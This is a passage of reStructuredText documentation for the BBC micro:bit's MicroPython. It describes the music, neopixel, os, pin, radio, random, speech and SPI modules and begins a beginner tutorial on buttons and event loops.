chorus from Wagner's opera "Lohengrin". * ``FUNERAL`` - the "funeral march" otherwise known as Frédéric Chopin's Piano Sonata No. 2 in B♭ minor, Op. 35. * ``PUNCHLINE`` - a fun fragment that signifies a joke has been made. * ``PYTHON`` - John Philip Sousa's march "Liberty Bell" aka, the theme for "Monty Python's Flying Circus" (after which the Python programming language is named). * ``BADDY`` - silent movie era entrance of a baddy. * ``CHASE`` - silent movie era chase scene. * ``BA_DING`` - a short signal to indicate something has happened. * ``WAWAWAWAA`` - a very sad trombone. * ``JUMP_UP`` - for use in a game, indicating upward movement. * ``JUMP_DOWN`` - for use in a game, indicating downward movement. * ``POWER_UP`` - a fanfare to indicate an achievement unlocked. * ``POWER_DOWN`` - a sad fanfare to indicate an achievement lost. Example ------- .. include:: ../examples/music.py :code: python ================================================ FILE: micropython/docs/neopixel.rst ================================================ NeoPixel ******** .. py:module:: neopixel The ``neopixel`` module lets you use NeoPixel (WS2812) individually addressable RGB LED strips with the micro:bit. Note to use the ``neopixel`` module, you need to import it separately with:: import neopixel .. note:: From our tests, the Microbit NeoPixel module can drive up to around 256 NeoPixels. Anything above that and you may experience weird bugs and issues. As the micro:bit can only supply 90mA to external devices, larger numbers of NeoPixels require an external power supply with common ground. NeoPixels are designed to work at 5V, but luckily they still function using the 3V supply of the BBC micro:bit. Please note that the micro:bit edge connector should not be connected to anything supplying 5V. NeoPixels are fun strips of multi-coloured programmable LEDs. This module contains everything to plug them into a micro:bit and create funky displays, art and games such as the demo shown below. .. image:: neopixel.gif To connect a strip of neopixels you'll need to attach the micro:bit as shown below (assuming you want to drive the pixels from pin 0 - you can connect neopixels to pins 1 and 2 too). The label on the crocodile clip tells you where to attach the other end on the neopixel strip. The VDD pin may be labelled as something else on some variants of neopixels - for example "V+". In some cases it may be called "+5V" and it is only safe to use this if you have no other 5V devices connected. .. warning:: Do not use the 3v connector on the Microbit to power any more than 8 Neopixels at a time. If you wish to use more than 8 Neopixels, you must use a separate 3v-5v power supply for the Neopixel power pin. .. image:: neopixel-croc.png Classes ======= .. py:class:: NeoPixel(pin, n) Initialise a new strip of ``n`` number of neopixel LEDs controlled via pin ``pin``. Each pixel is addressed by a position (starting from 0). Neopixels are given RGB (red, green, blue) values between 0-255 as a tuple. For example, ``(255,255,255)`` is white. .. py:method:: clear() Clear all the pixels. .. py:method:: show() Show the pixels. Must be called for any updates to become visible. Operations ========== Writing the colour doesn't update the display (use ``show()`` for that). .. code:: np[0] = (255, 0, 128) # first element np[-1] = (0, 255, 0) # last element np.show() # only now will the updated value be shown To read the colour of a specific pixel just reference it. .. code:: print(np[0]) Using Neopixels =============== Interact with Neopixels as if they were a list of tuples. Each tuple represents the RGB (red, green and blue) mix of colours for a specific pixel. The RGB values can range between 0 to 255. For example, initialise a strip of 8 neopixels on a strip connected to pin0 like this:: import neopixel np = neopixel.NeoPixel(pin0, 8) Set pixels by indexing them (like with a Python list). For instance, to set the first pixel to full brightness red, you would use:: np[0] = (255, 0, 0) Or the final pixel to purple:: np[-1] = (255, 0, 255) Get the current colour value of a pixel by indexing it. For example, to print the first pixel's RGB value use:: print(np[0]) Finally, to push the new colour data to your Neopixel strip, use the .show() function:: np.show() If nothing is happening, it's probably because you've forgotten this final step..! .. note:: If you're not seeing anything change on your Neopixel strip, make sure you have ``show()`` at least somewhere otherwise your updates won't be shown. Example ======= .. include:: ../examples/neopixel_random.py :code: python ================================================ FILE: micropython/docs/os.rst ================================================ The ``os`` Module ****************** .. py:module:: os MicroPython contains an ``os`` module based upon the ``os`` module in the Python standard library. It's used for accessing what would traditionally be termed as operating system dependent functionality. Since there is no operating system in MicroPython the module provides functions relating to the management of the simple on-device persistent file system and information about the current system. To access this module you need to:: import os We assume you have done this for the examples below. Functions ========= .. py:function:: listdir() Returns a list of the names of all the files contained within the local persistent on-device file system. .. py:function:: remove(filename) Removes (deletes) the file named in the argument ``filename``. If the file does not exist an ``OSError`` exception will occur. .. py:function:: size(filename) Returns the size, in bytes, of the file named in the argument ``filename``. If the file does not exist an ``OSError`` exception will occur. .. py:function:: uname() Returns information identifying the current operating system. The return value is an object with five attributes: * ``sysname`` - operating system name * ``nodename`` - name of machine on network (implementation-defined) * ``release`` - operating system release * ``version`` - operating system version * ``machine`` - hardware identifier .. note:: There is no underlying operating system in MicroPython. As a result the information returned by the ``uname`` function is mostly useful for versioning details. ================================================ FILE: micropython/docs/pin.rst ================================================ Input/Output Pins ***************** .. py:module:: microbit The pins are your board's way to communicate with external devices connected to it. There are 19 pins for your disposal, numbered 0-16 and 19-20. Pins 17 and 18 are not available. For example, the script below will change the display on the micro:bit depending upon the digital reading on pin 0:: from microbit import * while True: if pin0.read_digital(): display.show(Image.HAPPY) else: display.show(Image.SAD) Pin Functions ============= .. image:: pinout.png Those pins are available as attributes on the ``microbit`` module:``microbit.pin0`` - ``microbit.pin20``. +-----+---------+----------+ | Pin | Type | Function | +=====+=========+==========+ | 0 | Touch | Pad 0 | +-----+---------+----------+ | 1 | Touch | Pad 1 | +-----+---------+----------+ | 2 | Touch | Pad 2 | +-----+---------+----------+ | 3 | Analog | Column 1 | +-----+---------+----------+ | 4 | Analog | Column 2 | +-----+---------+----------+ | 5 | Digital | Button A | +-----+---------+----------+ | 6 | Digital | Column 9 | +-----+---------+----------+ | 7 | Digital | Column 8 | +-----+---------+----------+ | 8 | Digital | | +-----+---------+----------+ | 9 | Digital | Column 7 | +-----+---------+----------+ | 10 | Analog | Column 3 | +-----+---------+----------+ | 11 | Digital | Button B | +-----+---------+----------+ | 12 | Digital | | +-----+---------+----------+ | 13 | Digital | SPI SCK | +-----+---------+----------+ | 14 | Digital | SPI MISO | +-----+---------+----------+ | 15 | Digital | SPI MOSI | +-----+---------+----------+ | 16 | Digital | | +-----+---------+----------+ +-----+---------+----------+ | 19 | Digital | I2C SCL | +-----+---------+----------+ | 20 | Digital | I2C SDA | +-----+---------+----------+ The above table summarizes the pins available, their types (see below) and what they are internally connected to. Pulse-Width Modulation ---------------------- The pins of your board cannot output analog signal the way an audio amplifier can do it -- by modulating the voltage on the pin. Those pins can only either enable the full 3.3V output, or pull it down to 0V. However, it is still possible to control the brightness of LEDs or speed of an electric motor, by switching that voltage on and off very fast, and controlling how long it is on and how long it is off. This technique is called Pulse-Width Modulation (PWM), and that's what the ``write_analog`` method below does. .. image:: pwm.png Above you can see the diagrams of three different PWM signals. All of them have the same period (and thus frequency), but they have different duty cycles. The first one would be generated by ``write_analog(511)``, as it has exactly 50% duty -- the power is on half of the time, and off half of the time. The result of that is that the total energy of this signal is the same, as if it was 1.65V instead of 3.3V. The second signal has 25% duty cycle, and could be generated with ``write_analog(255)``. It has similar effect as if 0.825V was being output on that pin. The third signal has 75% duty cycle, and can be generated with ``write_analog(767)``. It has three times as much energy, as the second signal, and is equivalent to outputting 2.475V on th pin. Note that this works well with devices such as motors, which have huge inertia by themselves, or LEDs, which blink too fast for the human eye to see the difference, but will not work so good with generating sound waves. This board can only generate square wave sounds on itself, which sound pretty much like the very old computer games -- mostly because those games also only could do that. Classes ======= There are three kinds of pins, differing in what is available for them. They are represented by the classes listed below. Note that they form a hierarchy, so that each class has all the functionality of the previous class, and adds its own to that. .. note:: Those classes are not actually available for the user, you can't create new instances of them. You can only use the instances already provided, representing the physical pins on your board. .. py:class:: MicroBitDigitalPin .. py:method:: read_digital() Return 1 if the pin is high, and 0 if it's low. .. py:method:: write_digital(value) Set the pin to high if ``value`` is 1, or to low, if it is 0. .. py:method::set_pull(value) Set the pull state to one of three possible values: ``pin.PULL_UP``, ``pin.PULL_DOWN`` or ``pin.NO_PULL`` (where ``pin`` is an instance of a pin). See below for discussion of default pull states. .. py:method::get_pull() Returns the pull configuration on a pin, which can be one of three possible values: ``NO_PULL``, ``PULL_DOWN``, or ``PULL_UP``. These are set using the ``set_pull()`` method or automatically configured when a pin mode requires it. .. py:method::get_mode() Returns the pin mode. When a pin is used for a specific function, like writing a digital value, or reading an analog value, the pin mode changes. Pins can have one of the following modes: ``MODE_UNUSED``, ``MODE_WRITE_ANALOG``, ``MODE_READ_DIGITAL``, ``MODE_WRITE_DIGITAL``, ``MODE_DISPLAY``, ``MODE_BUTTON``, ``MODE_MUSIC``, ``MODE_AUDIO_PLAY``, ``MODE_TOUCH``, ``MODE_I2C``, ``MODE_SPI``. .. py:class:: MicroBitAnalogDigitalPin .. py:method:: read_analog() Read the voltage applied to the pin, and return it as an integer between 0 (meaning 0V) and 1023 (meaning 3.3V). .. py:method:: write_analog(value) Output a PWM signal on the pin, with the duty cycle proportional to the provided ``value``. The ``value`` may be either an integer or a floating point number between 0 (0% duty cycle) and 1023 (100% duty). .. py:method:: set_analog_period(period) Set the period of the PWM signal being output to ``period`` in milliseconds. The minimum valid value is 1ms. .. py:method:: set_analog_period_microseconds(period) Set the period of the PWM signal being output to ``period`` in microseconds. The minimum valid value is 256µs. .. py:class:: MicroBitAnalogDigitalPin .. py:method:: read_analog() Read the voltage applied to the pin, and return it as an integer between 0 (meaning 0V) and 1023 (meaning 3.3V). .. py:class:: MicroBitTouchPin .. py:method:: is_touched() Return ``True`` if the pin is being touched with a finger, otherwise return ``False``. This test is done by measuring how much resistance there is between the pin and ground. A low resistance gives a reading of ``True``. To get a reliable reading using a finger you may need to touch the ground pin with another part of your body, for example your other hand. The pull mode for a pin is automatically configured when the pin changes to an input mode. Input modes are when you call ``read_analog`` / ``read_digital`` / ``is_touched``. The default pull mode for these is, respectively, ``NO_PULL``, ``PULL_DOWN``, ``PULL_UP``. Calling ``set_pull`` will configure the pin to be in ``read_digital`` mode with the given pull mode. .. note:: The micro:bit has external weak (10M) pull-ups fitted on pins 0, 1 and 2 only, in order for the touch sensing to work. There are also external (10k) pull-ups fitted on pins 5 and 11, in order for buttons A and B to work. GPIO pins are also used for the display. 6 of these are routed to the edge connector at 3, 4, 6, 7, 9. and 10. If you want to use these pins for another purpose, you may need to turn the `display off `_. See the `edge connector data sheet `_. ================================================ FILE: micropython/docs/radio.rst ================================================ Radio ***** .. py:module:: radio The ``radio`` module allows devices to work together via simple wireless networks. The radio module is conceptually very simple: * Broadcast messages are of a certain configurable length (up to 251 bytes). * Messages received are read from a queue of configurable size (the larger the queue the more RAM is used). If the queue is full, new messages are ignored. Reading a message removes it from the queue. * Messages are broadcast and received on a preselected channel (numbered 0-83). * Broadcasts are at a certain level of power - more power means more range. * Messages are filtered by address (like a house number) and group (like a named recipient at the specified address). * The rate of throughput can be one of three pre-determined settings. * Send and receive bytes to work with arbitrary data. * Use `receive_full` to obtain full details about an incoming message: the data, receiving signal strength, and a microsecond timestamp when the message arrived. * As a convenience for children, it's easy to send and receive messages as strings. * The default configuration is both sensible and compatible with other platforms that target the BBC micro:bit. To access this module you need to:: import radio We assume you have done this for the examples below. Constants ========= .. py:attribute:: RATE_250KBIT Constant used to indicate a throughput of 256 Kbit a second. .. py:attribute:: RATE_1MBIT Constant used to indicate a throughput of 1 MBit a second. .. py:attribute:: RATE_2MBIT Constant used to indicate a throughput of 2 MBit a second. Functions ========= .. py:function:: on() Turns the radio on. This needs to be explicitly called since the radio draws power and takes up memory that you may otherwise need. .. py:function:: off() Turns off the radio, thus saving power and memory. .. py:function:: config(**kwargs) Configures various keyword based settings relating to the radio. The available settings and their sensible default values are listed below. The ``length`` (default=32) defines the maximum length, in bytes, of a message sent via the radio. It can be up to 251 bytes long (254 - 3 bytes for S0, LENGTH and S1 preamble). The ``queue`` (default=3) specifies the number of messages that can be stored on the incoming message queue. If there are no spaces left on the queue for incoming messages, then the incoming message is dropped. The ``channel`` (default=7) can be an integer value from 0 to 83 (inclusive) that defines an arbitrary "channel" to which the radio is tuned. Messages will be sent via this channel and only messages received via this channel will be put onto the incoming message queue. Each step is 1MHz wide, based at 2400MHz. The ``power`` (default=6) is an integer value from 0 to 7 (inclusive) to indicate the strength of signal used when broadcasting a message. The higher the value the stronger the signal, but the more power is consumed by the device. The numbering translates to positions in the following list of dBm (decibel milliwatt) values: -30, -20, -16, -12, -8, -4, 0, 4. The ``address`` (default=0x75626974) is an arbitrary name, expressed as a 32-bit address, that's used to filter incoming packets at the hardware level, keeping only those that match the address you set. The default used by other micro:bit related platforms is the default setting used here. The ``group`` (default=0) is an 8-bit value (0-255) used with the ``address`` when filtering messages. Conceptually, "address" is like a house/office address and "group" is like the person at that address to which you want to send your message. The ``data_rate`` (default=radio.RATE_1MBIT) indicates the speed at which data throughput takes place. Can be one of the following contants defined in the ``radio`` module : ``RATE_250KBIT``, ``RATE_1MBIT`` or ``RATE_2MBIT``. If ``config`` is not called then the defaults described above are assumed. .. py:function:: reset() Reset the settings to their default values (as listed in the documentation for the ``config`` function above). .. note:: None of the following send or receive methods will work until the radio is turned on. .. py:function:: send_bytes(message) Sends a message containing bytes. .. py:function:: receive_bytes() Receive the next incoming message on the message queue. Returns ``None`` if there are no pending messages. Messages are returned as bytes. .. py:function:: receive_bytes_into(buffer) Receive the next incoming message on the message queue. Copies the message into ``buffer``, trimming the end of the message if necessary. Returns ``None`` if there are no pending messages, otherwise it returns the length of the message (which might be more than the length of the buffer). .. py:function:: send(message) Sends a message string. This is the equivalent of ``send_bytes(bytes(message, 'utf8'))`` but with ``b'\x01\x00\x01'`` prepended to the front (to make it compatible with other platforms that target the micro:bit). .. py:function:: receive() Works in exactly the same way as ``receive_bytes`` but returns whatever was sent. Currently, it's equivalent to ``str(receive_bytes(), 'utf8')`` but with a check that the the first three bytes are ``b'\x01\x00\x01'`` (to make it compatible with other platforms that may target the micro:bit). It strips the prepended bytes before converting to a string. A ``ValueError`` exception is raised if conversion to string fails. .. py:function:: receive_full() Returns a tuple containing three values representing the next incoming message on the message queue. If there are no pending messages then ``None`` is returned. The three values in the tuple represent: * the next incoming message on the message queue as bytes. * the RSSI (signal strength): a value between 0 (strongest) and -255 (weakest) as measured in dBm. * a microsecond timestamp: the value returned by ``time.ticks_us()`` when the message was received. For example:: details = radio.receive_full() if details: msg, rssi, timestamp = details This function is useful for providing information needed for triangulation and/or triliteration with other micro:bit devices. Examples -------- .. include:: ../examples/radio.py :code: python ================================================ FILE: micropython/docs/random.rst ================================================ Random Number Generation ************************ .. py:module:: random This module is based upon the ``random`` module in the Python standard library. It contains functions for generating random behaviour. To access this module you need to:: import random We assume you have done this for the examples below. Functions ========= .. py:function:: getrandbits(n) Returns an integer with ``n`` random bits. .. warning:: Because the underlying generator function returns at most 30 bits, ``n`` may only be a value between 1-30 (inclusive). .. py:function:: seed(n) Initialize the random number generator with a known integer ``n``. This will give you reproducibly deterministic randomness from a given starting state (``n``). .. py:function:: randint(a, b) Return a random integer ``N`` such that ``a <= N <= b``. Alias for ``randrange(a, b+1)``. .. py:function:: randrange(stop) Return a randomly selected integer between zero and up to (but not including) ``stop``. .. py:function:: randrange(start, stop) Return a randomly selected integer from ``range(start, stop)``. .. py:function:: randrange(start, stop, step) Return a randomly selected element from ``range(start, stop, step)``. .. py:function:: choice(seq) Return a random element from the non-empty sequence ``seq``. If ``seq`` is empty, raises ``IndexError``. .. py:function:: random() Return the next random floating point number in the range [0.0, 1.0) .. py:function:: uniform(a, b) Return a random floating point number ``N`` such that ``a <= N <= b`` for ``a <= b`` and ``b <= N <= a`` for ``b < a``. ================================================ FILE: micropython/docs/speech.rst ================================================ Speech ****** .. warning:: WARNING! This is still work in progress; we reserve the right to change this API as development continues. The quality of the speech is not great, merely "good enough". Given the constraints of the device you may encounter memory errors and / or unexpected extra sounds during playback. It's early days and we're improving the code for the speech synthesiser all the time. Bug reports and pull requests are most welcome. .. py:module:: speech This module makes microbit talk, sing and make other speech like sounds provided that you connect a speaker to your board as shown below: .. image:: speech.png .. note:: This work is based upon the amazing reverse engineering efforts of Sebastian Macke based upon an old text-to-speech (TTS) program called SAM (Software Automated Mouth) originally released in 1982 for the Commodore 64. The result is a small C library that we have adopted and adapted for the micro:bit. You can find out more from `his homepage `_. Much of the information in this document was gleaned from the original user's manual which can be found `here `_. The speech synthesiser can produce around 2.5 seconds worth of sound from up to 255 characters of textual input. To access this module you need to:: import speech We assume you have done this for the examples below. Functions ========= .. py:function:: translate(words) Given English words in the string ``words``, return a string containing a best guess at the appropriate phonemes to pronounce. The output is generated from this `text to phoneme translation table `_. This function should be used to generate a first approximation of phonemes that can be further hand-edited to improve accuracy, inflection and emphasis. .. py:function:: pronounce(phonemes, \*, pitch=64, speed=72, mouth=128, throat=128) Pronounce the phonemes in the string ``phonemes``. See below for details of how to use phonemes to finely control the output of the speech synthesiser. Override the optional pitch, speed, mouth and throat settings to change the timbre (quality) of the voice. .. py:function:: say(words, \*, pitch=64, speed=72, mouth=128, throat=128) Say the English words in the string ``words``. The result is semi-accurate for English. Override the optional pitch, speed, mouth and throat settings to change the timbre (quality) of the voice. This is a short-hand equivalent of: ``speech.pronounce(speech.translate(words))`` .. py:function:: sing(phonemes, \*, pitch=64, speed=72, mouth=128, throat=128) Sing the phonemes contained in the string ``phonemes``. Changing the pitch and duration of the note is described below. Override the optional pitch, speed, mouth and throat settings to change the timbre (quality) of the voice. Punctuation =========== Punctuation is used to alter the delivery of speech. The synthesiser understands four punctuation marks: hyphen, comma, full-stop and question mark. The hyphen (``-``) marks clause boundaries by inserting a short pause in the speech. The comma (``,``) marks phrase boundaries and inserts a pause of approximately double that of the hyphen. The full-stop (``.``) and question mark (``?``) end sentences. The full-stop inserts a pause and causes the pitch to fall. The question mark also inserts a pause but causes the pitch to rise. This works well with yes/no questions such as, "are we home yet?" rather than more complex questions such as "why are we going home?". In the latter case, use a full-stop. Timbre ====== The timbre of a sound is the quality of the sound. It's the difference between the voice of a DALEK and the voice of a human (for example). To control the timbre change the numeric settings of the ``pitch``, ``speed``, ``mouth`` and ``throat`` arguments. The pitch (how high or low the voice sounds) and speed (how quickly the speech is delivered) settings are rather obvious and generally fall into the following categories: Pitch: * 0-20 impractical * 20-30 very high * 30-40 high * 40-50 high normal * 50-70 normal * 70-80 low normal * 80-90 low * 90-255 very low (The default is 64) Speed: * 0-20 impractical * 20-40 very fast * 40-60 fast * 60-70 fast conversational * 70-75 normal conversational * 75-90 narrative * 90-100 slow * 100-225 very slow (The default is 72) The mouth and throat values are a little harder to explain and the following descriptions are based upon our aural impressions of speech produced as the value of each setting is changed. For mouth, the lower the number the more it sounds like the speaker is talking without moving their lips. In contrast, higher numbers (up to 255) make it sound like the speech is enunciated with exagerated mouth movement. For throat, the lower the number the more relaxed the speaker sounds. In contrast, the higher the number, the more tense the tone of voice becomes. The important thing is to experiment and adjust the settings until you get the effect you desire. To get you started here are some examples:: speech.say("I am a little robot", speed=92, pitch=60, throat=190, mouth=190) speech.say("I am an elf", speed=72, pitch=64, throat=110, mouth=160) speech.say("I am a news presenter", speed=82, pitch=72, throat=110, mouth=105) speech.say("I am an old lady", speed=82, pitch=32, throat=145, mouth=145) speech.say("I am E.T.", speed=100, pitch=64, throat=150, mouth=200) speech.say("I am a DALEK - EXTERMINATE", speed=120, pitch=100, throat=100, mouth=200) Phonemes ======== The ``say`` function makes it easy to produce speech - but often it's not accurate. To make sure the speech synthesiser pronounces things *exactly* how you'd like, you need to use phonemes: the smallest perceptually distinct units of sound that can be used to distinguish different words. Essentially, they are the building-block sounds of speech. The ``pronounce`` function takes a string containing a simplified and readable version of the `International Phonetic Alphabet `_ and optional annotations to indicate inflection and emphasis. The advantage of using phonemes is that you don't have to know how to spell! Rather, you only have to know how to say the word in order to spell it phonetically. The table below lists the phonemes understood by the synthesiser. .. note:: The table contains the phoneme as characters, and an example word. The example words have the sound of the phoneme (in parenthesis), but not necessarily the same letters. Often overlooked: the symbol for the "H" sound is ``/H``. A glottal stop is a forced stoppage of sound. :: SIMPLE VOWELS VOICED CONSONANTS IY f(ee)t R (r)ed IH p(i)n L a(ll)ow EH b(e)g W a(w)ay AE S(a)m W (wh)ale AA p(o)t Y (y)ou AH b(u)dget M Sa(m) AO t(al)k N ma(n) OH c(o)ne NX so(ng) UH b(oo)k B (b)ad UX l(oo)t D (d)og ER b(ir)d G a(g)ain AX gall(o)n J (j)u(dg)e IX dig(i)t Z (z)oo ZH plea(s)ure DIPHTHONGS V se(v)en EY m(a)de DH (th)en AY h(igh) OY b(oy) AW h(ow) UNVOICED CONSONANTS OW sl(ow) S (S)am UW cr(ew) SH fi(sh) F (f)ish TH (th)in SPECIAL PHONEMES P (p)oke UL sett(le) (=AXL) T (t)alk UM astron(om)y (=AXM) K (c)ake UN functi(on) (=AXN) CH spee(ch) Q kitt-en (glottal stop) /H a(h)ead The following non-standard symbols are also available to the user:: YX diphthong ending (weaker version of Y) WX diphthong ending (weaker version of W) RX R after a vowel (smooth version of R) LX L after a vowel (smooth version of L) /X H before a non-front vowel or consonant - as in (wh)o DX T as in pi(t)y (weaker version of T) Here are some seldom used phoneme combinations (and suggested alternatives):: PHONEME YOU PROBABLY WANT: UNLESS IT SPLITS SYLLABLES LIKE: COMBINATION GS GZ e.g. ba(gs) bu(gs)pray BS BZ e.g. slo(bz) o(bsc)ene DS DZ e.g. su(ds) Hu(ds)son PZ PS e.g. sla(ps) ----- TZ TS e.g. cur(ts)y ----- KZ KS e.g. fi(x) ----- NG NXG e.g. singing i(ng)rate NK NXK e.g. bank Su(nk)ist If you use anything other than the phonemes described above, a ``ValueError`` exception will be raised. Pass in the phonemes as a string like this:: speech.pronounce("/HEHLOW") # "Hello" The phonemes are classified into two broad groups: vowels and consonants. Vowels are further subdivided into simple vowels and diphthongs. Simple vowels don't change their sound as you say them whereas diphthongs start with one sound and end with another. For example, when you say the word "oil" the "oi" vowel starts with an "oh" sound but changes to an "ee" sound. Consonants are also subdivided into two groups: voiced and unvoiced. Voiced consonants require the speaker to use their vocal chords to produce the sound. For example, consonants like "L", "N" and "Z" are voiced. Unvoiced consonants are produced by rushing air, such as "P", "T" and "SH". Once you get used to it, the phoneme system is easy. To begin with some spellings may seem tricky (for example, "adventure" has a "CH" in it) but the rule is to write what you say, not what you spell. Experimentation is the best way to resolve problematic words. It's also important that speech sounds natural and understandable. To help with improving the quality of spoken output it's often good to use the built-in stress system to add inflection or emphasis. There are eight stress markers indicated by the numbers ``1`` - ``8``. Simply insert the required number after the vowel to be stressed. For example, the lack of expression of "/HEHLOW" is much improved (and friendlier) when spelled out "/HEH3LOW". It's also possible to change the meaning of words through the way they are stressed. Consider the phrase "Why should I walk to the store?". It could be pronounced in several different ways:: # You need a reason to do it. speech.pronounce("WAY2 SHUH7D AY WAO5K TUX DHAH STOH5R.") # You are reluctant to go. speech.pronounce("WAY7 SHUH2D AY WAO7K TUX DHAH STOH5R.") # You want someone else to do it. speech.pronounce("WAY5 SHUH7D AY2 WAO7K TUX DHAH STOHR.") # You'd rather drive. speech.pronounce("WAY5 SHUHD AY7 WAO2K TUX7 DHAH STOHR.") # You want to walk somewhere else. speech.pronounce("WAY5 SHUHD AY WAO5K TUX DHAH STOH2OH7R.") Put simply, different stresses in the speech create a more expressive tone of voice. They work by raising or lowering pitch and elongating the associated vowel sound depending on the number you give: #. very emotional stress #. very emphatic stress #. rather strong stress #. ordinary stress #. tight stress #. neutral (no pitch change) stress #. pitch-dropping stress #. extreme pitch-dropping stress The smaller the number, the more extreme the emphasis will be. However, such stress markers will help pronounce difficult words correctly. For example, if a syllable is not enunciated sufficiently, put in a neutral stress marker. It's also possible to elongate words with stress markers:: speech.pronounce("/HEH5EH4EH3EH2EH2EH3EH4EH5EHLP.”) Singing ======= It's possible to make MicroPython sing phonemes. This is done by annotating a pitch related number onto a phoneme. The lower the number, the higher the pitch. Numbers roughly translate into musical notes as shown in the diagram below: .. image:: speech-pitch.png Annotations work by pre-pending a hash (``#``) sign and the pitch number in front of the phoneme. The pitch will remain the same until a new annotation is given. For example, make MicroPython sing a scale like this:: solfa = [ "#115DOWWWWWW", # Doh "#103REYYYYYY", # Re "#94MIYYYYYY", # Mi "#88FAOAOAOAOR", # Fa "#78SOHWWWWW", # Soh "#70LAOAOAOAOR", # La "#62TIYYYYYY", # Ti "#58DOWWWWWW", # Doh ] song = ''.join(solfa) speech.sing(song, speed=100) In order to sing a note for a certain duration extend the note by repeating vowel or voiced consonant phonemes (as demonstrated in the example above). Beware diphthongs - to extend them you need to break them into their component parts. For example, "OY" can be extended with "OHOHIYIYIY". Experimentation, listening carefully and adjusting is the only sure way to work out how many times to repeat a phoneme so the note lasts for the desired duration. How Does it Work? ================= The original manual explains it well: First, instead of recording the actual speech waveform, we only store the frequency spectrums. By doing this, we save memory and pick up other advantages. Second, we [...] store some data about timing. These are numbers pertaining to the duration of each phoneme under different circumstances, and also some data on transition times so we can know how to blend a phoneme into its neighbors. Third, we devise a system of rules to deal with all this data and, much to our amazement, our computer is babbling in no time. --- S.A.M. owner's manual. The output is piped through the functions provided by the ``audio`` module and, hey presto, we have a talking micro:bit. Example ======= .. include:: ../examples/speech.py :code: python ================================================ FILE: micropython/docs/spi.rst ================================================ SPI *** .. py:module:: microbit.spi The ``spi`` module lets you talk to a device connected to your board using a serial peripheral interface (SPI) bus. SPI uses a so-called master-slave architecture with a single master. You will need to specify the connections for three signals: * SCLK : Serial Clock (output from master). * MOSI : Master Output, Slave Input (output from master). * MISO : Master Input, Slave Output (output from slave). Functions ========= .. method:: init(baudrate=1000000, bits=8, mode=0, sclk=pin13, mosi=pin15, miso=pin14) Initialize SPI communication with the specified parameters on the specified ``pins``. Note that for correct communication, the parameters have to be the same on both communicating devices. The ``baudrate`` defines the speed of communication. The ``bits`` defines the size of bytes being transmitted. Currently only ``bits=8`` is supported. However, this may change in the future. The ``mode`` determines the combination of clock polarity and phase according to the following convention, with polarity as the high order bit and phase as the low order bit: +----------+-----------------+--------------+ | SPI Mode | Polarity (CPOL) | Phase (CPHA) | +==========+=================+==============+ | 0 | 0 | 0 | +----------+-----------------+--------------+ | 1 | 0 | 1 | +----------+-----------------+--------------+ | 2 | 1 | 0 | +----------+-----------------+--------------+ | 3 | 1 | 1 | +----------+-----------------+--------------+ Polarity (aka CPOL) 0 means that the clock is at logic value 0 when idle and goes high (logic value 1) when active; polarity 1 means the clock is at logic value 1 when idle and goes low (logic value 0) when active. Phase (aka CPHA) 0 means that data is sampled on the leading edge of the clock, and 1 means on the trailing edge (viz. https://en.wikipedia.org/wiki/Signal_edge). The ``sclk``, ``mosi`` and ``miso`` arguments specify the pins to use for each type of signal. .. method:: spi.read(nbytes) Read at most ``nbytes``. Returns what was read. .. method:: spi.write(buffer) Write the ``buffer`` of bytes to the bus. .. method:: spi.write_readinto(out, in) Write the ``out`` buffer to the bus and read any response into the ``in`` buffer. The length of the buffers should be the same. The buffers can be the same object. ================================================ FILE: micropython/docs/tutorials/buttons.rst ================================================ Buttons ------- So far we have created code that makes the device do something. This is called *output*. However, we also need the device to react to things. Such things are called *inputs*. It's easy to remember: output is what the device puts out to the world whereas input is what goes into the device for it to process. The most obvious means of input on the micro:bit are its two buttons, labelled ``A`` and ``B``. Somehow, we need MicroPython to react to button presses. This is remarkably simple:: from microbit import * sleep(10000) display.scroll(str(button_a.get_presses())) All this script does is sleep for ten thousand milliseconds (i.e. 10 seconds) and then scrolls the number of times you pressed button ``A``. That's it! While it's a pretty useless script, it introduces a couple of interesting new ideas: #. The ``sleep`` *function* will make the micro:bit sleep for a certain number of milliseconds. If you want a pause in your program, this is how to do it. A *function* is just like a *method*, but it isn't attached by a dot to an *object*. #. There is an object called ``button_a`` and it allows you to get the number of times it has been pressed with the ``get_presses`` *method*. Since ``get_presses`` gives a numeric value and ``display.scroll`` only displays characters, we need to convert the numeric value into a string of characters. We do this with the ``str`` function (short for "string" ~ it converts things into strings of characters). The third line is a bit like an onion. If the parenthesis are the onion skins then you'll notice that ``display.scroll`` contains ``str`` that itself contains ``button_a.get_presses``. Python attempts to work out the inner-most answer first before starting on the next layer out. This is called *nesting* - the coding equivalent of a Russian Matrioshka doll. .. image:: matrioshka.jpg Let's pretend you've pressed the button 10 times. Here's how Python works out what's happening on the third line: Python sees the complete line and gets the value of ``get_presses``:: display.scroll(str(button_a.get_presses())) Now that Python knows how many button presses there have been, it converts the numeric value into a string of characters:: display.scroll(str(10)) Finally, Python knows what to scroll across the display:: display.scroll("10") While this might seem like a lot of work, MicroPython makes this happen extraordinarily fast. Event Loops +++++++++++ Often you need your program to hang around waiting for something to happen. To do this you make it loop around a piece of code that defines how to react to certain expected events such as a button press. To make loops in Python you use the ``while`` keyword. It checks if something is ``True``. If it is, it runs a *block of code* called the *body* of the loop. If it isn't, it breaks out of the loop (ignoring the body) and the rest of the program can continue. Python makes it easy to define blocks of code. Say I have a to-do list written on a piece of paper. It probably looks something like this:: Shopping Fix broken gutter Mow the lawn If I wanted to break down my to-do list a bit further, I might write something like this:: Shopping: Eggs Bacon Tomatoes Fix broken gutter: Borrow ladder from next door Find hammer and nails Return ladder Mow the lawn: Check lawn around pond for frogs Check mower fuel level It's obvious that the main tasks are broken down into sub-tasks that are *indented* underneath the main task to which they are related. So ``Eggs``, ``Bacon`` and ``Tomatoes`` are obviously related to ``Shopping``. By indenting things we make it easy to see, at a glance, how the tasks relate to each other. This is called *nesting*. We use nesting to define blocks of code like this:: from microbit import * while running_time() < 10000: display.show(Image.ASLEEP) display.show(Image.SURPRISED) The ``running_time`` function returns the number of milliseconds since the device started. The ``while running_time() < 10000:`` line checks if the running time is less than 10000 milliseconds (i.e. 10 seconds). If it is, *and this is where we can see scoping in action*, then it'll display ``Image.ASLEEP``. Notice how this is indented underneath the ``while`` statement *just like in our to-do list*. Obviously, if the running time is equal to or greater than 10000 milliseconds then the display will show ``Image.SURPRISED``. Why? Because the ``while`` condition will be False (``running_time`` is no longer ``< 10000``). In that case the loop is finished and the program will continue after the ``while`` loop's block of code. It'll look like your device is asleep for 10 seconds before waking up with a surprised look on its face. Try it! Handling an 